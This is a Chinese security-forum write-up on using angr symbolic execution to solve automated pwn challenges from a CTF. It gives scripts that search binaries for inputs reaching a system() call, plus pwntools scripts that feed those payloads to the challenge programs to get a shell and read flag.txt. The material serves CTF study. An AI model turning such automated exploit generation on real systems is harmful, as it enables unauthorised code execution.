本文为看雪论坛精华文章
看雪论坛作者ID:34r7hm4n
本文为自动化Pwn类型线下赛(纵横杯)中,可靠符号执行解决的两种题型。
0x00. 符号执行基础
int m=M, n=N, q=Q;
int x1=0,x2=0,x3=0;
if(m!=0)
{
x1=-2;
}
if(n<12)
{
if(!m && q)
{
x2=1;
}
x3=2;
}
assert(x1+x2+x3!=3)
https://docs.angr.io/
0x01. 题型1:程序存在逻辑问题,触发错误逻辑getshell
import angr
from binascii import b2a_hex
def angr_run():
proj = angr.Project('./bin5')
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=0x08048783)
payload = simgr.found[0].posix.dumps(0)
print(f'payload={b2a_hex(payload)}')
angr_run()
from pwn import *
from binascii import a2b_hex
import re
sh = process('./bin5')
sh.sendline(a2b_hex('310a320a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')
0x02. 题型2:简单的路径搜索,考察AI对分支的判断
( https://myts2.cn/2020/05/24/guan-yu-fasterde-na-xie-shi/ )
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
proj_cfg = proj.analyses.CFGFast()
system_addr = get_system_addr(proj_cfg)
'''
获取system函数的地址
'''
def get_system_addr(cfg):
for func_addr in cfg.functions:
func = cfg.functions.get(func_addr)
if func.name == 'system':
return func_addr
return None
if system_addr == None:
return []
print(f'Found system function in {hex(system_addr)}.')
payload_list = []
for func_addr in proj_cfg.functions:
try:
func = proj_cfg.functions.get(func_addr)
cfg = func.transition_graph
cfg = to_supergraph(cfg)
for node in cfg.nodes:
block = proj.factory.block(node.addr)
for inst in block.capstone.insns:
if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
target_func = func_addr
target_block = block.addr
target_cfg = cfg
print(f'Found target function in {hex(target_func)}')
print(f'Found target block in {hex(target_block)}')
payload_list += explore_func(proj, target_func, target_block, target_cfg)
except Exception as ex:
print(ex)
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
if start.addr == target:
return (True, [])
succs = list(cfg.successors(start))
if len(succs) == 0:
return (False, [start.addr])
elif len(succs) == 1:
can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
if can_reach_target:
return (True, avoid_list)
else:
avoid_list.append(start.addr)
return (False, avoid_list)
elif len(succs) == 2:
can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
if can_reach_target0 and can_reach_target1:
return (True, [])
elif not can_reach_target0 and not can_reach_target1:
avoid_list = avoid_list0 + avoid_list1
avoid_list.append(start.addr)
return (False, avoid_list)
else:
avoid_list = avoid_list0 + avoid_list1
return (True, avoid_list)
else:
exit(0)
(https://www.jianshu.com/p/70952b51f0c8)
'''
对目标函数进行符号执行,求解到达call system执行所需要的输入
'''
def explore_func(proj, target_func, target_block, target_cfg):
can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)
state = proj.factory.call_state(target_func)
simgr = proj.factory.simgr(state)
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=target_block, avoid=avoid_list)
payload_list = []
for found in simgr.found:
payload_list.append(found.posix.dumps(0))
return payload_list
simgr.use_technique(angr.exploration_techniques.DFS())
import angr
from angrmanagement.utils.graph import to_supergraph
from binascii import b2a_hex
'''
获取system函数的地址
'''
def get_system_addr(cfg):
for func_addr in cfg.functions:
func = cfg.functions.get(func_addr)
if func.name == 'system':
return func_addr
return None
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
if start.addr == target:
return (True, [])
succs = list(cfg.successors(start))
if len(succs) == 0:
return (False, [start.addr])
elif len(succs) == 1:
can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
if can_reach_target:
return (True, avoid_list)
else:
avoid_list.append(start.addr)
return (False, avoid_list)
elif len(succs) == 2:
can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
if can_reach_target0 and can_reach_target1:
return (True, [])
elif not can_reach_target0 and not can_reach_target1:
avoid_list = avoid_list0 + avoid_list1
avoid_list.append(start.addr)
return (False, avoid_list)
else:
avoid_list = avoid_list0 + avoid_list1
return (True, avoid_list)
else:
exit(0)
'''
对目标函数进行符号执行,求解到达call system执行所需要的输入
'''
def explore_func(proj, target_func, target_block, target_cfg):
can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)
state = proj.factory.call_state(target_func)
simgr = proj.factory.simgr(state)
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=target_block, avoid=avoid_list)
payload_list = []
for found in simgr.found:
payload_list.append(found.posix.dumps(0))
return payload_list
'''
求解所有可行的payload
'''
def explore_payload(bin_path):
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
proj_cfg = proj.analyses.CFGFast()
system_addr = get_system_addr(proj_cfg)
if system_addr == None:
return []
print(f'Found system function in {hex(system_addr)}.')
payload_list = []
for func_addr in proj_cfg.functions:
try:
func = proj_cfg.functions.get(func_addr)
cfg = func.transition_graph
cfg = to_supergraph(cfg)
for node in cfg.nodes:
block = proj.factory.block(node.addr)
for inst in block.capstone.insns:
if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
target_func = func_addr
target_block = block.addr
target_cfg = cfg
print(f'Found target function in {hex(target_func)}')
print(f'Found target block in {hex(target_block)}')
payload_list += explore_func(proj, target_func, target_block, target_cfg)
except Exception as ex:
print(ex)
return payload_list
def angr_run():
payload_list = explore_payload('./bin1')
print(payload_list)
for payload in payload_list:
print('payload=' + b2a_hex(payload).decode())
angr_run()
from pwn import *
from binascii import a2b_hex
import re
sh = process('./bin1')
sh.sendline(a2b_hex('310a6dbe0a0a2b310a31240a0a310a310a0a310a310a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')
0x03. 符号执行与fuzz的结合
(https://blog.csdn.net/Chen_zju/article/details/80791281)
看雪ID:34r7hm4n
https://bbs.pediy.com/user-home-910514.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!